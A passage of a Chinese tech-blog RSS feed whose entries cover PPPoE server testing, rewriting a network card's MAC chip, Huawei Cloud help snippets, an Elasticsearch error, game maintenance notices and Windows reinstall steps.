击报文)，因此需要确保用户扫描的网站的所有权是用户自己。下载鉴权文件上传到网站根目录的文件认证方式。华为云租户一键认证 。没有将认证时使用的IP加入到网站访问白名单中。文件认证时，如果网站有访问限制，请您将以下IP添加至网站访问的&#xA;假定用户有某个周末网民网购停留时间的日志文本，基于某些业务要求，要求开发Spark应用程序实现如下功能：统计日志文件中本周末网购停留总时间超过2个小时的女性网民信息。周末两天的日志文件第一列为姓名，第二列为性别，第三列为本次停留时间，单位为分钟，分隔符为,。log1.txt：周六网民停留日志LiuYang,female,20&#xA;YuanJi&#xA;伸缩组中增加或减少实例的过程称为伸缩活动。伸缩活动的目的是将应用系统中当前实例数和期望实例数保持一致，保证业务正常运行。&#xA;ICAgent用于采集指标、日志和应用性能数据。对于在ECS、BMS控制台直接购买的主机，您需手动安装ICAgent。对于通过CCE间接购买的主机，ICAgent会自动安装。ICAgent状态说明详见下表。在进行ICAgent安装前，需要先确保本地浏览器时间与服务器时区、时间都一致。若有多个服务器，则要保证本地浏览器、多个服务器的时区、时&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;内存一致性检查就是检查源码迁移在鲲鹏平台运行时可能存在的内存一致性问题，并提供插入内存屏障的建议。由于运行内存一致性检查时，生成的中间文件较大，如果用户想要使用该功能，请确保安装工具的所在磁盘空间足够大，根据经验数据，每10w行代码需要100G左右的磁盘空间。源码规模过大可能会导致占用资源过多，建议代码量不超过10万行。已成功登录鲲鹏代码&#xA;以昇腾模型压缩工具的安装用户将需要量化的Caffe模型文件和权重文件上传到Linux服务器任意目录下。本章节以sample包中自带的分类网络模型ResNet-50为例进行说明，其中模型文件在执行量化前，需要手动下载。切换到sample/resnet50目录，执行如下命令下载ResNet-50-deploy.prototxt模型文件。pyt&#xA;以昇腾模型压缩工具的安装用户将需要量化的Caffe模型文件和权重文件上传到Linux服务器任意目录下。本章节以sample包中自带的分类网络模型ResNet-50为例进行说明，其中模型文件在执行量化前，需要手动下载。切换到sample/resnet50目录，执行如下命令下载ResNet-50-deploy.prototxt模型文件。pyt</description>
    </item>
    <item>
      <title>测试pppoe服务器性能,PPPOE服务器测试</title>
      <link>https://bchobby.github.io/posts/f6a36aa56fee9a97a66ada07b31ee41f/</link>
      <pubDate>Wed, 11 Aug 2021 15:43:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6a36aa56fee9a97a66ada07b31ee41f/</guid>
      <description>PPPOE服务器测试&#xA;说明一下，最好找另外一台在同一广播域上的计算机来测试，因为有很小的几率你在本机上测试成功了，但是网络上的计算机却不能连接。这可能是由于物理层的问题导致的，也可能是其他的问题，这里不详述。&#xA;OK，开始测试&#xA;这里以XP作为客户端测试，回到桌面，网上邻居-属性-创建一个新的连接-下一步-连接到Internet-手动设置我的连接-要求用户名和密码的宽带连接来连接，点下一步到了输入ISP名称的页面，这里填写刚才配置的服务名tkmark，留空将连接到响应速度最快的服务器，继续下一步，填写用户名密码，这里填写刚才配置的账户，用户名:admin，密码:admin。&#xA;OK，完成，点连接，成功了，可以打开宽带连接的状态看看，服务器类型PPP，传输类型TCP/IP，身份验证PAP，服务器IP地址10.255.255.247，客户端IP地址10.255.255.246,和我们刚才配置的一样。如图：&#xA;如果失败，那么根据错误提示做以下操作：&#xA;用户名、密码错误：检查你在ROS上配置的用户名&#xA;和密码，或者大小写之类的疏忽，检查服务名。&#xA;远程计算机无响应：首先PING你的ROS看是否连通，然后看下你服务名是否正确，检查第二章节的所有配置无误。&#xA;调制解调器正在使用：检查你是否已经连接其他pppoe连接，比如ADSL，断开正在使用的连接，然后重连。&#xA;比较常见的就这几种，其他的就不多说了，本文的重点并不是PPPOE连接排障。&#xA;顺便提一下为什么服务名比较重要(在多服务器的环境下)，是因为在PPPOE连接的开始阶段(无连接)，客户端会以二层广播形式发送一个PPPOED帧，即PADI(PPPOE&#xA;Active Discovery&#xA;Initiation，活动发现初始化)，里面包含有服务名字段，只有服务名相同的服务器才会响应，并发送一个包含PADO(Offer)的PPPOED帧给客户端，然后协商进行下一步工作，所以要找到正确的服务器，最好使用指定的服务名。</description>
    </item>
    <item>
      <title>服务器如何从bios修改mac,BIOS维修网站www.biosrepair.com-用编程器修改网卡MAC地址</title>
      <link>https://bchobby.github.io/posts/a347b3c1336ccbadb7ace904a37dd34c/</link>
      <pubDate>Wed, 11 Aug 2021 15:29:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a347b3c1336ccbadb7ace904a37dd34c/</guid>
      <description>朋友一个软件绑定了网卡的MAC地址，由于原网卡损坏，造成软件无法正常运行；重新找了一款DFE-530TX的网卡，当然由于MAC与原网卡不一样，软件还是无法运行的；因此需要将DFE-530TX网卡的MAC修改成原网卡的才可，但有个问题是，DFE-530TX网卡没有对应的软件来写MAC，虽然市面上8139&#xA;8169等芯片组的网卡都有软件可直接硬修改MAC，但是这个DFE-530TX网卡做工及质量不错，因此还是打算修改这个DFE-530TX网卡的MAC。&#xA;即然没有软件可支持，其实要想修改网卡的MAC还是很简单的，只要一台编程器就可方便的修改；网卡的MAC多是使用93系列串行芯片存储的，只要读出芯片中的MAC文件，将MAC地址修改后，再将修改后的文件写回芯片就可以了。&#xA;如下图：DFE-530TX网卡的MAC芯片是93LC46芯片&#xA;所有网卡上都有MAC地址，如果网卡后面的MAC地址已经看不到，可在WIN环境下使用IPCONFIG/ALL查看，通过原MAC地址，就可方便在读出来的文件中方便找到地址位置：原网卡上的MAC地址如下图：&#xA;首先用热风拆焊台拆下93LC46芯片，然后插到编程器上，将读出来的数据保存成文件，如93LC46.BIN(文件名可任意的)&#xA;运行ULTRAEDIT32&#xA;16进制编辑软件，打开读出来保存的文件(这时打开是93LC46.BIN)；根据网卡后面的MAC地址，可方便的找到文件中MAC地址的位置如下图：&#xA;将MAC修改成需要的数据，如本文需要将MAC修改成BC 30 5B D6 89 03；在ULTRAEDIT32中，将原MAC修改成BC 30 5B D6&#xA;89 03，如下图：&#xA;修改完成后。点击文件--保存，将修改后的文件保存后，使用编程器将修改好的数据写回到93LC46芯片中；然后将写好的MAC芯片焊回到网卡上，即可完成MAC修改。&#xA;其实目前的独立网卡，都有独立的MAC芯片的；除了一部分可用软件直接硬写MAC外，如果没有软件支持的网卡要修改MAC，都可采用编程器读MAC芯片的方法来完成的。&#xA;下图分别是台式机网卡和笔记本无线网卡，都有MAC芯片的，都可采用这种方法来修改MAC的。</description>
    </item>
    <item>
      <title>如何找到完美的服务器文件,完美刷机 云服务器</title>
      <link>https://bchobby.github.io/posts/11b04a76b4142806d11a03f373125c50/</link>
      <pubDate>Wed, 11 Aug 2021 15:27:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/11b04a76b4142806d11a03f373125c50/</guid>
      <description>完美刷机 云服务器 内容精选&#xA;换一换&#xA;会。弹性云服务器运行在物理机上，虽然提供了多种机制来保证系统的可靠性、容错能力和高可用性，但是，服务器的硬件、电源等部件仍有较小概率的损坏。如果物理设备的损坏导致物理机电源无法正常工作或重启，会导致CPU和内存数据丢失，无法进行热迁移来恢复弹性云服务器。云平台默认提供了自动恢复功能，以冷迁移的方式重启弹性云服务器，使弹性云服务器具备高可靠&#xA;用户可以在管理控制台对专属主机上的云服务器的进行批量管理类操作，包括批量开机、批量关机、批量重启、批量删除。登录管理控制台。单击管理控制台左上角的，选择区域和项目。选择“计算 &amp;gt; 专属主机”。进入专属主机信息页面。进入专属主机信息页面。在专属主机列表中，单击专属主机的名称。进入该专属主机信息页面。进入该专属主机信息页面。在“专属主机上的云&#xA;完美刷机 云服务器 相关内容&#xA;创建云服务器组。当前只支持反亲和性组。POST /v2.1/{project_id}/os-server-groups参数说明请参见表1。参数说明参数是否必选描述project_id是项目ID。获取方法请参见获取项目ID。请求参数如表2所示。响应参数如表4所示。请参考通用请求返回值。&#xA;本节操作介绍华为云上云服务器的跨账号跨区域迁移，建议采用镜像迁移方式。服务器迁移的常见场景与常用的迁移方式请参考迁移的背景知识。跨账号跨区域迁移的方法请参考方案介绍常见的服务器迁移场景包括物理服务器与云服务器之间、VMware等虚拟化平台与华为云服务器之间、华为云上的云服务器之间(不同账号或地域之间)、其他云平台的云服务器和华为云服务器、&#xA;完美刷机 云服务器 更多内容&#xA;安装传输工具在本地主机和Windows云服务器上分别安装数据传输工具，将文件上传到云服务器。例如QQ.exe。在本地主机和Windows云服务器上分别安装数据传输工具，将文件上传到云服务器。例如QQ.exe。本地磁盘映射(推荐使用)使用远程桌面连接MSTSC方式进行数据传输。该方式不支持断点续传，可能存在传输中断的情况，因此不建议上传大文&#xA;本节操作介绍购买云耀云服务器的操作步骤。购买时，为减少您配置参数的时间，部分参数由系统自动分配，以下参数配置供你了解系统的默认配置。购买云耀云服务器仅支持“包年/包月”的计费方式，请您在购买前确保已完成注册和充值。详细操作请参见如何注册公有云管理控制台的用户？登录管理控制台。单击管理控制台左上角的，选择区域和项目。选择“计算 &amp;gt; 云耀云服&#xA;将部署在专属主机上的弹性云服务器迁移至其他专属主机。将部署在专属主机上的弹性云服务器迁移至公共资源池，即不再部署在专属主机上。将公共资源池的弹性云服务器迁移至专属主机上，成为专属主机上部署的弹性云服务器。接口目前只适用于专属主机使用场景。关机状态的弹性云服务器才能执行冷迁移操作。按需计费方式的弹性云服务器才能执行冷迁移操作。继承原生冷迁移&#xA;只有运行中的云服务器云主机才允许用户登录。Linux操作系统用户名“root”。首次登录云耀云服务器，请先通过“重置密码”功能设置登录密码。重置密码：选中待重置密码的云耀云服务器，并选择“操作”列下的“ 重置密码”。重置密码：选中待重置密码的云耀云服务器，并选择“操作”列下的“ 重置密码”。请根据需要选择登录方式，登录云服务器。远程登录忘&#xA;支持，迁移前请参考购买云耀云服务器，设置目的端时，选择已创建的云耀云服务器。支持，迁移前请参考购买专属主机，设置目的端时，选择已创建的专属主机。支持，迁移前请参考开通专属云，设置目的端时，选择已创建的专属云。不支持，建议您使用鲲鹏移植专家服务。&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;用户可以创建服务器组，并将主机分配到服务器组，将主机进行分类管理。用户可以根据创建的服务器组，查看该服务器组内的服务器数量、有风险服务器的数量、以及未防护的服务器数量。服务器组名称不能重复，如果尝试填写的服务器组名称重复，操作将会失败。服务器组名称不能包含空格，只能包含字母、数字、下划线、中划线、点、星号(*)、加号(+)；且内容长度不能&#xA;用户使用hostname命令查看不同镜像的弹性云服务器主机名，发现部分镜像的弹性云服务器主机名带后缀.novalocal，如示例所示：假设创建弹性云服务器时，用户自定义的主机名是abc，使用hostname命令查看不同镜像下，弹性云服务器的主机名以及重启弹性云服务器后的主机名，显示结果如表1所示。不同镜像的弹性云服务器，查询的主机名有的带&#xA;如果对弹性云服务器执行重启/关机操作，弹性云服务器长时间(大于30分钟)处于“正在重启”/“正在关机”状态时，建议执行强制重启/强制关机操作。登录管理控制台。单击管理控制台左上角的，选择区域和项目。选择“计算 &amp;gt; 弹性云服务器”。勾选待强制重启/强制关机的弹性云服务器，并单击“重启”/“关机”。系统弹窗提示用户是否要对弹性云服务器进行重启&#xA;监控是保持云耀云服务器可靠性、可用性和性能的重要部分，通过监控，用户可以观察云耀云服务器资源。为使用户更好地掌握自己的云耀云服务器运行状态，公有云平台提供了云监控。您可以使用该服务监控您的云耀云服务器，执行自动实时监控、告警和通知操作，帮助您更好地了解云耀云服务器的各项性能指标。主机监控分为基础监控和操作系统监控。基础监控为云服务器自动上&#xA;Windows弹性云服务器虚拟化驱动异常(Tools没有正常运行)。为保证弹性云服务器的正常使用，请参见本节内容进行修复。弹性云服务器虚拟化驱动异常会影响弹性云服务器服务数据安全、可用性、系统性能。具体影响的表现：可能导致弹性云服务器文件系统损坏。用户控制台单击“关机”、“重启”按钮，由于没有Tools，在云平台底层弹性云服务器会被“强制</description>
    </item>
    <item>
      <title>func服务器报警显示C,serve_func.c</title>
      <link>https://bchobby.github.io/posts/7f34ce5fcf9f60c488fe33f14398569f/</link>
      <pubDate>Wed, 11 Aug 2021 15:20:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f34ce5fcf9f60c488fe33f14398569f/</guid>
      <description>#include #include &#34;server_module.h&#34;&#xA;// 管理员及普通用户登陆&#xA;int login_in(int fd, struct login_inform *logininfo, sqlite3 *db)&#xA;{&#xA;int ret;&#xA;char buf[128] = {0};&#xA;char *errmsg;&#xA;char **azresult;&#xA;int nrow;&#xA;int ncolumn;&#xA;// 接受登陆信息&#xA;if((ret = recv( fd, logininfo, sizeof(struct login_inform), 0)) &amp;lt; 0)&#xA;{&#xA;printf(&#34;fail to recv login inform\n&#34;);&#xA;ret = -1;// 接受登陆信息失败&#xA;send(fd, &amp;amp;ret, 4, 0);&#xA;return 1;&#xA;}else if(ret == 0){&#xA;printf(&#34;client exit not normal\n&#34;);// 客户端异常退出&#xA;return -1;&#xA;}&#xA;if(strcmp(logininfo-&amp;gt;login_user, &#34;</description>
    </item>
    <item>
      <title>4月4号服务器维护什么时候结束,绝地求生维护更新到什么时候结束 4月28日正式服维护公告一览...</title>
      <link>https://bchobby.github.io/posts/67af62a049930a25b24e35a4981a442f/</link>
      <pubDate>Wed, 11 Aug 2021 14:30:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67af62a049930a25b24e35a4981a442f/</guid>
      <description>绝地求生今日迎来例行维护，大家知道，绝地求生每周三都会例行维护更新，那么今天维护更新到什么几点，4月28日维护更新到什么时候结束。小接下来就让我们大家一起来看看，4月28日维护更新到什么时候结束!&#xA;绝地求生维护更新到几点&#xA;绝地求生是一款战术性的射击类游戏，这款游戏上线至今一直都是比较火爆的。为了给玩家们带来更好的游戏体验，也是不断进行游戏的bug以及不足的进行维护更新。在2021年4月28日也是再一次进行更新，对此玩家们比较关心的就是此次更新维护到几点，接下来就一起来看看吧!&#xA;绝地求生维护更新到什么几点 4月28日维护公告&#xA;4月28日维护更新到什么时候结束&#xA;维护更新时间：2021年4月28日 08:30&#xA;维护结束时间：2021年4月28日 17:30&#xA;此次主要维护更新了11赛季第二轮的部分内容，因为是停服更新所以玩家们在更新期间是无法进行游戏体验的。这一次的更新是早上的八点半开始，预计更新九个小时所以差不多要到下午的五点半左右才会结束!具体的维护结束时间玩家们需要以游戏开放的时间为准，小蛙也会时刻关注最新消息给玩家们进行分享!&#xA;(责任编辑：珂珂)</description>
    </item>
    <item>
      <title>es修改IK分词器源码 mysql热词动态更新(报错解决x3)</title>
      <link>https://bchobby.github.io/posts/7dbe9345a4f2c613d515fb12b01c837b/</link>
      <pubDate>Wed, 11 Aug 2021 12:24:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7dbe9345a4f2c613d515fb12b01c837b/</guid>
      <description>最近在公司遇到的一个问题，给elasticsearch配置ik热部署mysql词库。&#xA;我是参照下面这个博客来做的&#xA;https://www.cnblogs.com/xiaoxiaoliu/p/11218109.html&#xA;但是按照这个做就会报下面这个错误&#xA;[2021-08-11T11:27:53,515][ERROR][o.e.b.ElasticsearchUncaughtExceptionHandler] [DESKTOP-0PKSCKK] fatal error in thread [elasticsearch[DESKTOP-0PKSCKK][clusterApplierService#updateTask][T#1]], exiting java.lang.ExceptionInInitializerError: null at java.lang.Class.forName0(Native Method) ~[?:1.8.0_202] at java.lang.Class.forName(Class.java:264) ~[?:1.8.0_202] at com.mysql.cj.jdbc.NonRegisteringDriver.&amp;lt;clinit&amp;gt;(NonRegisteringDriver.java:106) ~[?:?] at java.lang.Class.forName0(Native Method) ~[?:1.8.0_202] at java.lang.Class.forName(Class.java:264) ~[?:1.8.0_202] at org.wltea.analyzer.dic.Dictionary.&amp;lt;clinit&amp;gt;(Dictionary.java:108) ~[?:?] at org.wltea.analyzer.cfg.Configuration.&amp;lt;init&amp;gt;(Configuration.java:40) ~[?:?] at org.elasticsearch.index.analysis.IkTokenizerFactory.&amp;lt;init&amp;gt;(IkTokenizerFactory.java:15) ~[?:?] at org.elasticsearch.index.analysis.IkTokenizerFactory.getIkSmartTokenizerFactory(IkTokenizerFactory.java:23) ~[?:?] at org.elasticsearch.index.analysis.AnalysisRegistry.buildMapping(AnalysisRegistry.java:445) ~[elasticsearch-7.6.2.jar:7.6.2] at org.elasticsearch.index.analysis.AnalysisRegistry.buildTokenizerFactories(AnalysisRegistry.java:286) ~[elasticsearch-7.6.2.jar:7.6.2] at org.elasticsearch.index.analysis.AnalysisRegistry.build(AnalysisRegistry.java:214) ~[elasticsearch-7.6.2.jar:7.6.2] at org.elasticsearch.index.IndexModule.newIndexService(IndexModule.java:421) ~[elasticsearch-7.6.2.jar:7.6.2] at org.elasticsearch.indices.IndicesService.createIndexService(IndicesService.java:603) ~[elasticsearch-7.6.2.jar:7.6.2] at org.elasticsearch.indices.IndicesService.createIndex(IndicesService.java:542) ~[elasticsearch-7.6.2.jar:7.6.2] at org.elasticsearch.indices.IndicesService.createIndex(IndicesService.java:173) ~[elasticsearch-7.6.2.jar:7.6.2] at org.elasticsearch.indices.cluster.IndicesClusterStateService.createIndices(IndicesClusterStateService.java:484) ~[elasticsearch-7.6.2.jar:7.6.2] at org.elasticsearch.indices.cluster.IndicesClusterStateService.applyClusterState(IndicesClusterStateService.java:246) ~[elasticsearch-7.</description>
    </item>
    <item>
      <title>车牌识别系统不能连接服务器,车牌识别系统图像无法正常输出的原因与解决方法...</title>
      <link>https://bchobby.github.io/posts/bac7866339e32ee74f5209c31c7e980c/</link>
      <pubDate>Wed, 11 Aug 2021 12:02:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bac7866339e32ee74f5209c31c7e980c/</guid>
      <description>原标题：车牌识别系统图像无法正常输出的原因与解决方法&#xA;19日，笔者从广州车牌识别系统安装厂家惠顺科技获悉，经常有物业向会惠顺科技抱怨：他们在使用一些杂牌车牌识别系统过程中会出现图像正常输出的问题，进而影响了车牌识别系统的正常工作。笔者也相信，一些使用了车牌识别系统的物业也会碰到这种问题，那么，当我们碰到这种问题时该如何去解决这种问题呢?&#xA;笔者通过惠顺科技了解到，造成车牌识别系统图像无法正常输出的原因常见的有三种：&#xA;一是车牌识别系统的摄像单元没有正常工作，导致摄像单元没有拍摄到相关数据，进而使得摄像机没有相关输出图像数据。&#xA;二是，摄像单元连接硬件出现问题，如镜头驱动线出现连接不正确或断裂、摄像机与控制板的连接线连接不正确或断裂，接入识别器模拟视频输入接口接触不良等连接问题也都会导致数据无法正常输出。&#xA;三是，车牌识别系统摄像单元软件出入命令出现错误，无法正常传达输出指令。&#xA;笔者相信，在找到车牌识别系统图像无法正常输出的原因后，有一定安装基础的朋友都会懂得如何去解决车牌识别系统图像无法正常输出的问题。但笔者还是要啰嗦的与大家分享解决的方法：&#xA;第一步，检查摄像单元是否有要输出的数据，如果没有，那么表明摄像单元没有拍摄到相关的数据，这时可以检查摄像单元安装是否正确，是否能够正常拍摄，否则直接更换摄像单元。&#xA;第二步，检查车牌识别系统摄像单元软件出入命令出现错误，无法正常传达输出指令，出现错误质量就要调试，使其能够正常发布传输质量。&#xA;第三步，检查线路，重点检查镜头驱动线、摄像机与控制板的连接线是否出现连接不正确或者有断裂现象，保障线路正确连接，没有断裂;同时，注意检查各个硬件间的接触问题，出现接触不良的要解决，保障线路不会出现各种故障问题。&#xA;车牌识别系统是智慧停车、提升小区、停车场、酒店、学校、商场等物业车辆出入口的重要智能设施，它的应用将保障这些物业场所车辆进出的通车效率，对提升物业进出车辆的自动化、智能化管理具有积极的意义。它的应用也将有效的解决这些物业场所经常出现交通拥堵的现象发生，所以我们必须要保障车牌识别系统能够正常使用，不会出现各种故障，如此，才能发挥车牌识别系统的应用意义，促进城市打造智慧交通、智慧停车场、智慧小区。(伦礼师)返回搜狐，查看更多&#xA;责任编辑：</description>
    </item>
    <item>
      <title>戴尔服务器主板如何装系统,小编教你戴尔Dell主板电脑如何重装win10系统？</title>
      <link>https://bchobby.github.io/posts/9b25d6f08ad7e60f503eed0c8b52168e/</link>
      <pubDate>Wed, 11 Aug 2021 11:23:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b25d6f08ad7e60f503eed0c8b52168e/</guid>
      <description>最近有位戴尔Dell主板电脑用户，操作的时候出现问题，需要重装系统来解决，但是却不知道怎么操作。其实，我们使用大白菜u盘启动盘就可以了。下面小编就教你戴尔Dell主板电脑如何重装win10系统吧！&#xA;重装操作步骤&#xA;第一步：准备8G的U盘，使用大白菜U盘启动盘制作工具最新版进行制作，注意关闭相应的杀毒软件，避免制作过程中误删。&#xA;第二步：打开工具并点击一键制作，制作完成后，下载并保存win10镜像系统到U盘启动盘中，或者存放至除系统盘外的其他分区中。&#xA;第三步：将U盘接入电脑，重启电脑，并在出现开机换画面时按下U盘启动快捷键，直至进入优先启动项设置界面。选中U盘，将其设置为第一启动项后，按下回车。&#xA;第四步：稍后进入大白菜主菜单，选择【1】Win10X64PE(2G以上内存)，再次回车进入winpe桌面，打开大白菜一键装机软件。&#xA;第五步：选择“安装系统”，“映像文件”选择已下载的win10镜像系统，安装在“C盘”并点击“执行”进入下一步。&#xA;第六步：大白菜一键还原窗口出现后，建议勾选“网卡驱动”以及“USB驱动”复选框，最后点击“是”进入下一步。&#xA;第七步：根据提示，电脑进入进入重启状态，将U盘拔出，无需操作，稍后电脑会进入系统部署阶段。&#xA;第八步：该阶段需要较长的时间，期间电脑可能会出现一些其他程序画面，无需理会，直至电脑出现进入win10桌面，重装完成。&#xA;通过上面的步骤，我们就可以完成小编教你戴尔Dell主板电脑如何重装win10系统的全部操作了。重装系统的方法很多，但如果是戴尔电脑新手，还是建议使用u盘启动盘来安装Windows 10系统更方便。</description>
    </item>
    <item>
      <title>航海王热血航线服务器要维修多久,航海王热血航线</title>
      <link>https://bchobby.github.io/posts/347f6250c01284844193f4c2bd55afcc/</link>
      <pubDate>Wed, 11 Aug 2021 11:14:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/347f6250c01284844193f4c2bd55afcc/</guid>
      <description>航海王热血航线什么时候开服？《航海王热血航线》游戏在4月22日就要开服测试了。那么具体是什么时间呢？今天小编就给大家介绍一下航海王热血航线开服时间，有需要的小伙伴不要错过了。&#xA;《航海王热血航线》开服时间介绍&#xA;航海王热血航线公测将于2021年4月22日10点开启!&#xA;4月21日10：00将开启安卓预下载，4月22日00：00将开启苹果预下载!&#xA;充值返利介绍&#xA;1、测试期间，船长的充值总金额，将在游戏正式上线后，按照1元=10幻彩之果的标准进行倍率返还，具体返还规则如下：&#xA;a. 充值金额≤3000元的部分，按150%比例返还;&#xA;b. 充值金额&amp;gt;3000元的部分，按100%比例返还;&#xA;例1：某船长本次累计充值1000元，游戏正式上线时将获得：1000*10*150%=15000幻彩之果;&#xA;例2：某船长本次累计充值5000元，游戏正式上线时将获得：3000*10*150%+2000*10*100%=65000幻彩之果&#xA;2、可返还的充值金额包括幻彩之果购买、游戏礼包购买、游戏权益购买的总金额;测试期间充值获得的游戏礼包和游戏权益，游戏正式上线后无法继承对应礼包和特权;&#xA;例：某船长购买68元幻彩之果，以及30元直购礼包，即充值总金额98元，游戏正式上线时将获得：98*10*150%=1470幻彩之果。&#xA;3、在游戏正式上线后，使用参与本次测试的账号登录，即可领取相应的充值返还奖励，一个账号的返还奖励仅能领取一次，请确认船长您的领取角色。&#xA;4、计费删档测试期间，如果船长使用同一账号在不同的区服进行充值，在正式上线时返利将以该账号下所有角色充值金额的总数进行返还。&#xA;5、游戏正式上线后的充值返还发放，仅限于安卓平台相同渠道的相同账号。船长须前往与参与本次测试相同的平台，下载该平台的游戏客户端，并使用与本次测试相同的账号登录对应渠道后，再领取充值返还。&#xA;例：若测试时在官网下载游戏的船长，在游戏正式上线后，需要在官网下载游戏，并使用相同的账号登录才可以获得充值福利返还，在其他应用商店或游戏中心下载参与删档测试的船长同理。&#xA;6、官服iOS和安卓账号信息不互通，请在参与测试的原平台进行充值返还的领取。&#xA;7、如有多次删档付费测试的充值返还活动，每次测试充值金额相互独立，独立计算返还彩果。&#xA;8、游戏正式上线时，测试充值返还的幻彩之果不会计入任何充值活动。&#xA;以上就是《航海王热血航线》开服时间介绍，更多游戏攻略请持续关注3DM手游网！</description>
    </item>
    <item>
      <title>登陆ins未能连接服务器,ins未能连接到服务器</title>
      <link>https://bchobby.github.io/posts/8ef8fe4a65493e996c72e7c8240ee6dc/</link>
      <pubDate>Wed, 11 Aug 2021 10:59:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ef8fe4a65493e996c72e7c8240ee6dc/</guid>
      <description>ins未能连接到服务器 内容精选&#xA;换一换&#xA;在相同的vpc网络下，外部集群通过Phoenix连接到HBase响应慢。在相同的vpc下，外部集群通过Phoenix连接到HBase时，响应太慢。客户配置了DNS服务，由于客户端连接到HBase先通过DNS来解析服务器端，所以导致响应慢。&#xA;华为云提供两种连接方式通过SQL Server客户端连接实例：非SSL连接和SSL连接。其中，SSL连接实现了数据加密功能，具有更高的安全性。准备弹性云服务器通过内网连接华为云关系型数据库实例，您需要购买一台弹性云服务器。创建并连接弹性云服务器，请参见如何创建和连接ECS。该弹性云服务器与目标实例必须处于同一VPC内。该弹性云服务器必须处&#xA;ins未能连接到服务器 相关内容&#xA;在使用主机迁移服务时，需要在被迁服务器上安装SMS-Agent。迁移过程中，源端要与SMS服务及目的端进行通信。主机迁移服务依赖华为云部分服务：IAM、ECS、EVS、IMS、VPC、SMS、OBS、DNS，在迁移过程中要确保源端agent能调用目的端服务器所在region相关依赖服务的API。IAM、SMS为global级服务，需连通i&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;ins未能连接到服务器 更多内容&#xA;使用远程登录方式连接登录Windows云服务器时出现如下错误：此计算机无法连接到远程计算机。服务端安全组3389端口未开启。检查云服务器端口配置。服务端防火墙关闭。检查防火墙配置是否正常远程桌面连接配置不正确。检查远程桌面连接设置未开启“Remote Desktop Services”。检查Remote Desktop Services远&#xA;华为云提供两种连接方式通过SQL Server客户端连接实例：非SSL连接和SSL连接。其中，SSL连接实现了数据加密功能，具有更高的安全性。安装SQL Server客户端请参见如何安装SQL Server Management Studio。请参见如何安装SQL Server Management Studio。绑定弹性公网IP并设置安&#xA;遇到该问题，请参考以下步骤排查解决。以集群模式下实例为例说明。如果在，执行2。如果不在，需要重新创建弹性云服务器实例，使之和文档数据库实例在同一个虚拟私有云下。如果有，检查安全组的配置规则是否满足要求，请参见设置安全组，然后执行3。如果没有，从弹性云服务器的实例详情页面，进入虚拟私有云页面，选择“安全组”，添加安全组。DDS的默认端口号为&#xA;Windows操作系统云服务器在登录时会遇到“出现了内部错误”提示，无法正常连接到服务器。这种情况一般都是远程服务太忙导致。Remote Desktop Services服务忙碌导致的登录异常。远程桌面登录后断开连接，但未注销登录也可能会出现这个提示。为了避免类似情况，建议在不需要远程连接服务器时及时注销登录。通过控制台提供的VNC方式登&#xA;使用主机迁移服务前，请参考以下步骤准备好账号、权限及源端、目的端服务器环境。已在华为云注册账号，并完成实名认证。已获取账号迁移权限。如果使用账号登录，默认拥有迁移权限，可无需配置迁移权限；如果使用IAM用户登录，可参考创建用户组并授权进行授权。如果使用账号登录，默认拥有迁移权限，可无需配置迁移权限；如果使用IAM用户登录，可参考创建用户组&#xA;遇到该问题，参考以下步骤排查解决。如果在，执行2。如果不在，需要重新创建弹性云服务器实例，使之和GaussDB(for MySQL)实例在同一个虚拟私有云下。如果有，检查安全组的配置规则是否满足要求。请参见《GaussDB(for MySQL)快速入门》的“创建实例”中的“安全组”的描述，然后执行3。请参见《GaussDB(for MyS&#xA;使用主机迁移服务前，请参考以下步骤准备好账号、权限及源端、目的端服务器环境。已在华为云注册账号，并完成实名认证。已获取账号迁移权限。已获取目的端账号的AK/SK。账号余额大于等于100元(充值、代金券皆可)。源端操作系统要求。迁移网络要求。源端服务器环境、剩余空间及其他要求。如果使用账号登录，默认拥有迁移权限，可无需配置迁移权限；如果使用&#xA;网关创建成功以后，用户需初始化网关，建立本地网关到CSG管理控制台的连接。本章节详细介绍了如何初始化网关，为用户快速了解CSG网关初始化配置提供指导。已在本地服务器正确安装网关。已在CSG管理控制台成功创建网关。浏览器可连接到网关IP。网关IP推荐使用内网IP，该IP地址无需公网访问，请参考获取网关IP。用户在CSG管理控制台初始化网关时&#xA;系统会为每个用户默认创建一个Sys-default安全组，默认安全组的规则是在出方向上的数据报文全部放行，入方向访问受限，安全组内的云服务器无需添加规则即可互相访问。如图1所示。默认安全组规则如表1所示：首次创建弹性云服务器，系统新建虚拟私有云vpc-default时会默认新建两个Sys-WebServer和Sys-FullAccess的&#xA;遇到该问题，参考以下步骤排查解决。如果在，执行2。如果不在，需要重新创建弹性云服务器实例，使之和云数据库RDS实例在同一个虚拟私有云下。如果有，检查安全组的配置规则是否满足要求，MySQL相关，请参见购买实例中“安全组”的描述，然后执行3。PostgreSQL相关，请参见购买实例中“安全组”的描述，然后执行3。Microsoft SQL&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。</description>
    </item>
    <item>
      <title>电脑一半,为什么电脑屏幕只有一半大</title>
      <link>https://bchobby.github.io/posts/2294bfb53e3696bc674c17ee44187395/</link>
      <pubDate>Wed, 11 Aug 2021 10:42:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2294bfb53e3696bc674c17ee44187395/</guid>
